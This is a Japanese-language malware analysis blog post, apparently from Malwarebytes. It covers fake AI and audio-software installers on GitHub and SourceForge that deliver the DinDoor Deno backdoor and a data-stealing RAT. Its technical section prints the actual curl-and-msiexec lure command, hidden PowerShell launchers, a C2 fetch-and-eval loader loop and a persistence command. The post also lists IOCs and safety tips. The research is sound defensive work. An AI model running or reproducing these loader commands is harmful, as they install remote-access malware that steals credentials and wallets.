GitHubやSourceForge上の偽ソフトがDeno RATを拡散している 

| 2026年5月26日
羊の皮を被った狼

脅威ハンティング活動中に、GitHubとSourceForge上でChatGPT、Claude、AutoTune、Kontaktなどの人気ソフトウェアを装った偽のインストーラーとプラグインを発見し、 DinDoorとして知られるDenoバックドアを配布しています。攻撃者は侵害されたYouTube これらのプラットフォームへのリンクを配信するためのチャネル。 

DinDoorは最終的に、Deno JavaScriptランタイムも利用するステルス型リモートアクセス型トロイの木馬(RAT)など、さまざまな種類のマルウェアを展開する。  

攻撃者は、従来の検出方法を回避するために、BunやDenoといった代替JavaScriptランタイムを悪用するケースが増えています。最近の調査では、攻撃者がNWHStealerを配布するための初期感染経路としてBunを使用していることを明らかにしました。また、 ThreatDown研究者は3月に、ClickFixというおとりを使った多段階感染チェーンを通じてCastleLoaderを配信するためにDenoを使用している攻撃者も確認しました。  

これらのキャンペーンでは、 Scoop (代替インストーラー) を使用します。 Windows )とWinGet (公式) Windows パッケージ マネージャーを使用して、被害者のマシンに Deno をインストールします。次に、Deno ランタイムを使用して、追加のペイロードを実行したり、ブラウザ、ウォレット、その他のアプリケーションからデータを抜き取ったりできる RAT を実行します。この RAT には、興味深いピアツーピア機能があり、 Edge 悪意のある通信を隠蔽するため。 

マルウェアの拡散に悪用される正規のプラットフォーム

分析されたほとんどのケースでは、感染チェーンは通常、GitHubまたはSourceForgeからダウンロードされたMSIファイルまたはPowerShellスクリプトを介して開始されます。ユーザーは通常、侵害されたリポジトリを介してこれらの悪意のあるリポジトリにリダイレクトされます。 YouTube これらのチャンネルの動画は現在、合計で5万回以上再生されています。 

侵害されたYouTube AI生成動画を配信するチャンネル 
AI生成動画を含む、侵害されたYouTubeチャンネル 

妥協したYouTube これらのチャンネルは、さまざまなソフトウェアを宣伝する投稿を作成し、マルウェアを配布するためにGitHubアカウントを頻繁に切り替えます。 

YouTube 悪意のあるGitHubリポジトリへのリンクを含む投稿
YouTube 悪意のあるGitHubリポジトリへのリンクを含む投稿

この偽ソフトは、GitHubやSourceForgeなどのサイトから非公式ツール、クラック版ソフトウェア、あるいはコミュニティで配布されているインストーラーをダウンロードする傾向が強いクリエイター、AI愛好家、ゲーマー、技術に詳しいユーザーを標的にして設計されているようです。 ChatGPT、Claude、ZENOLOGY、Ableton Live、AutoTune、Kontaktといった正規のソフトウェアやブランドのインストーラーやプラグインを装った偽のMSIファイルやスクリプトが確認されています。 

偽のChatGPTインストーラーのGitHubリポジトリ
偽のChatGPTインストーラーのGitHubリポジトリ 

悪意のあるリポジトリには両方のコマンドがありますWindows macOS にも対応しています。これらのリポジトリは、ユーザーにターミナルを開いて悪意のあるコマンドをコピーするように促し、そのコマンドを実行すると GitHub から MSI ファイルをダウンロードして実行します。 

ユーザーに悪意のあるコマンドをコピーして実行するよう促す偽のプラグイン 
ユーザーに悪意のあるコマンドをコピーして実行するよう促す偽のプラグイン 

悪意のあるGitHubアカウントは、人気のあるソフトウェアに関連する偽のソフトウェアやプラグインで埋め尽くされた複数のリポジトリを作成し、より多くのユーザーを誘い込もうとしている。 

複数の悪意のあるリポジトリを含むGitHubアカウント
複数の悪意のあるリポジトリを含むGitHubアカウント

調査の結果、このバックドアはSourceForgeを通じて配布されており、正規のゲームソフト「GearUP」やAIによる透かし除去ソフト「BWR」を装っていたことが判明しました。 

SourceForgeにホストされている悪意のあるMSIファイル

安全に過ごすには  

攻撃者は「信頼」という要素を大いに利用しました。GitHubやSourceForgeは正規のプラットフォームであるため、偽のプロジェクトがより本物らしく見えてしまうのです。弊社はGitHubに連絡したところ、悪意のあるリポジトリは速やかに削除されましたが、今後も新たなものが現れる可能性があるとユーザーは認識しておく必要があります。

安全を確保するための簡単な方法をいくつかご紹介します:  

  • ソフトウェアは、必ず公式ベンダーのウェブサイトからダウンロードしてください。  
  • 有料ソフトウェアの「無料」版やクラック版、非公式版には注意してください。 
  • GitHub、SourceForge、フォーラム、ファイル共有サイトからのダウンロードには注意してください。特に、新規または見知らぬアカウントからのものは注意が必要です。 
  • 攻撃者は、このマルウェアをさまざまなプラットフォームに拡散させるため、新たなプロファイルを次々と作成し続けています。  何かをダウンロードする前に、開発者またはパブリッシャーのプロファイル、その信頼性、および作成された時期を確認してください。 
  • アーカイブの内容、画像、テキストファイルが、ダウンロードする予定だったものと一致しているか確認してください。アーカイブの名前や構造は、悪意のあるものによく見られるパターンに従っていることがよくあります。  
  • ファイルを実行する前に、ファイルの発行元とデジタル署名を確認してください。 Windows通常、ファイルを右クリックして「プロパティ」 > 「デジタル署名」を選択することで確認できます。有効な署名があってもファイルの安全性が保証されるわけではありませんが、署名が欠落していたり​​、疑わしい署名がある場合は要注意です。 

テクニカル分析 

この悪意のあるGitHubリポジトリは、ユーザーにcmdを開いて悪意のあるコマンドを実行するよう促します。この悪意のあるコマンドは、GitHubからMSIファイルをダウンロードし、それを介してインストールします。 msiexec. これらのリポジトリには、同様の方法で感染チェーンを開始するためのPowerShellスクリプトが含まれている場合もあります。 

GitHub上にホストされ、感染の連鎖を開始する悪意のあるコマンドの例: 

curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi 

MSIは、MSIで指定されたランダムなディレクトリにCMDファイルとPowerShellスクリプトを配置します InstallationFolder およびレジストリ値。これらのMSIについては、CMDファイルの代わりにJavaScriptが使用されていたり、追加のファイルが埋め込まれていたりするなど、さまざまな構造が確認されました。

MSIドロッパー内の「Ps1File」と「CmdFile」
MSIドロッパー内の「Ps1File」と「CmdFile」

このCMDファイルはPowerShellスクリプトを実行しますが、その名前は分析された感染チェーンによって異なります: 

@set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden" 

実行されたPowerShellスクリプト
実行されたPowerShellスクリプト

このPowerShellスクリプトは、以下の処理を行います: 

  • パッケージマネージャーのScoopがインストールされていることを確認し、インストールされていない場合は、公式のスクリプトを使用してインストールします。 get.scoop.shScoopは、Microsoft向けの人気のオープンソースのコマンドラインソフトウェアインストーラおよびパッケージマネージャーです。 Windows 。 
  • Scoop を使用して WinGet をインストールします ( Windows パッケージマネージャー)が見つからない場合)  
  • Deno(JavaScript/TypeScriptランタイム)がインストールされていない場合、WinGetまたはScoopを使用してインストールします。

侵害されたマシンに追加のソフトウェアをインストールするために、パッケージマネージャーのScoopやWinGetを利用するという手法は、攻撃者にさらなる柔軟性をもたらす興味深いアプローチである。 

WinGet を使用して Deno をインストールするために実行されたコマンド: 

"C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent

DinDoorのバックドア 

次に、ダウンロードしたDeno実行ファイルを使用して、次の段階が実行されます: 

"C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js

返されるコード(内部名は「launcher-1」)は、次の段階(内部名は「launcher-2」)をダウンロードする小さなevalループ関数です。ダウンロードされたバックドアは、一般にDinDoorとして知られています。 

var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))}

このバックドアは、システムへの潜伏を維持し、侵害されたシステムに関する情報をコマンド&コントロール(C2)サーバーに送信するとともに、C2から返された追加のペイロードやコマンドを実行する。C2通信に使用されるHTTPエンドポイントは、分析対象の事例によって異なる。  

このバックドアは、HTTPエンドポイントからIDを取得します(例: /security-pool) その後、そのIDを使用して、次のステージを /v2{ID}.js.   

得られたステージは、以下を通じて実行されます stdin ディスクに書き込まれずに、次のコマンドを使用して: 

deno run -A --no-check –

永続性を確保するため、このバックドアはPowerShellコマンドを実行し、以前に使用されたダウンローダー「launcher-1」を実行するRUNキーを作成します: 

conhost.exe --headless "<deno.exe>" -A "%APPDATA%\<hash>.js

分析対象の事例において、このバックドアは複数のマルウェアファミリーを拡散させています。本ブログでは、拡散されたペイロードの一つである、Deno JavaScriptランタイムを利用するRATについて分析します。 

Deno RAT 

配信されたRATは、分析対象となった他のスクリプトと同様、Deno JavaScript環境を利用しており、デバイスの制御、コマンドやペイロードの実行、および組み込みのデータ窃取モジュールを通じた各種データの持ち出しを行うための完全な機能を備えている。  

このRATに関する具体的な名称や開発元は確認できませんでした。過去には、設定ファイル内の特定の値に基づき、このRATは「Smokest」と呼ばれていました。コメントの記述スタイルが類似しており、インフラストラクチャも共通していることから、DinDoorの開発者とこのRATの開発者は、同一人物または同一のチームである可能性が示唆されます。 



C2通信用のHTTPに加え、このRATは以下の機能もサポートしています WebSocket JSON値が isLiveEnabled C2からの戻り値がtrueに設定されています。 

Deno RATの主な機能
Deno RATの主な機能

RATはさまざまなコマンドに対応しています(exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) および機能: 

  • 侵害されたデバイスのシステム情報を収集する 
  • WebSocketを介したカスタムVNC実装による完全な双方向制御 
  • Atomic Wallet、Exodus、Electrum、ByteCoinなど、50種類以上の暗号資産ウォレット拡張機能および10種類の暗号資産ソフトウェアフォルダを対象としています
  • ブラウザからデータを収集します。 Chrome 、クロム、ブレイブ、 Edge Avastブラウザ、 Edge Opera、Vivaldi、CentBrowser、Kometa、Orbitum、360Browser、Chromodo 
  • Telegram、Discord、およびLightcordのデータを抽出する 
  • クリップボードのデータを記録および変更する  
  • フォルダやファイルを一覧表示し、特定の拡張子を持つファイルから内容を抽出する  
  • さまざまな方法でスクリーンショットを撮影する  
  • 追加のペイロードを実行する  
  • 任意のプロセスを起動または終了する  
  • PowerShell でコマンドを実行する  
  • WebSocket 経由で SOCKS5 プロキシトンネルを確立する 

RATの最も興味深い部分の一つは、ピアツーピアストリーミングモードを使用することです。 Edge ブラウザがトラフィックを隠蔽し、検出をより困難にする。

C2サーバーを経由せずにオペレーターに直接ライブビデオをストリーミングするために、RATは隠されたMicrosoft Edge プロセスを実行し、それに接続しますChrome DevTools Protocol (CDP)。次に、小さな WebRTC HTML ページを挿入します。 Edge正規のブラウザをピアツーピアのビデオリレーに変えます。Denoエージェントは被害者の画面をキャプチャしてH.264エンコードし、フレームをEdge CDP のページ、そしてEdge 暗号化されたWebRTCデータチャネルを介して、通信事業者のブラウザに直接転送します。直接接続を確立するために必要なSDPおよびICEシグナリングは、既存のC2 WebSocketを介して交換されます。 

挿入されたHTMLページEdge ブラウザ
Edgeブラウザ内に挿入されたHTMLページ 

RATはC2通信に以下のエンドポイントを使用しますが、これらはサンプルによって異なる場合があります: 

  • /health: C2からの「OK」応答を確認する 
  • /token: 設定パラメータ、タスクの配信、結果、および抽出されたデータの受信 
  • /vnc/agent/: VNC通信に使用されるWebSocketパス 

設定データはBase64エンコードされており、C2との通信において認証トークンとして送信されます。デコードされた設定データ: 

{ 

  "buildId": "cd361ef3159f5ce9", 

  "buildNote": "BWR", 

  "buildType": "msi-v2", 

  "proxyUrls": ["{C2}"], 

  "userId": "…", 

  "accessTokenHash": "…", 

  "iat": 1779372546, 

  "exp": 2094948546 

}

このRATにはいくつかのバリエーションが存在することが判明しており、その中には「agent-lite」と呼ばれる「ライト」版も含まれている。このバージョンはごく一部のコマンドのみをサポートしており、C2通信にはCloudflare Workersを利用している。 

RATの「ライト」版
RATの「ライト」版

 

謝辞 

妥協の指標(IOCs) 

URL 

  • https[:]//github.com/claude-free-plugin/
  • https[:]//github.com/ai-gen-profi 
  • https[:]//github.com/wharfdemolisherpit 
  • https[:]//sourceforge.net/projects/gearup/ 
  • https[:]//sourceforge.net/projects/bluewaveremover/

ドメイン 

  • claudescript[.]top: 配信サイト 
  • ms-telemetry-gateway-us[.]com: C2 
  • dakatawebstick[.]com: C2 
  • ashpaltlonpro[.]com: C2 
  • cf-proxy[.]cloud-analytics-services[.]workers.dev: C2 
  • agilemast3r[.]duckdns[.]org: C2 
  • geralnewlong[.]com: C2 
  • hngfbgfbfb[.]cyou: C2 
  • logicalnewrestore[.]com: C2

IPアドレス 

  • 23[.]227[.]196[.]107: C2 
  • 45[.]137[.]99[.]121: C2 
  • 31[.]57[.]129[.]23: C2 
  • 66[.]78[.]40[.]107: C2 
  • 193[.]233[.]198[.]132: C2

脅威の報告から、それらを排除することまで。

サイバーセキュリティのリスクは、単なるニュースの見出しに留まるべきではありません。今すぐMalwarebytesダウンロードして、デバイスを脅威から守りましょう。

著者について

ガブリエレは、マルウェアとの戦いをこよなく愛するマルウェア研究エンジニアです。仕事以外の時間には、自然や芸術、動物と触れ合うことを楽しんでいます。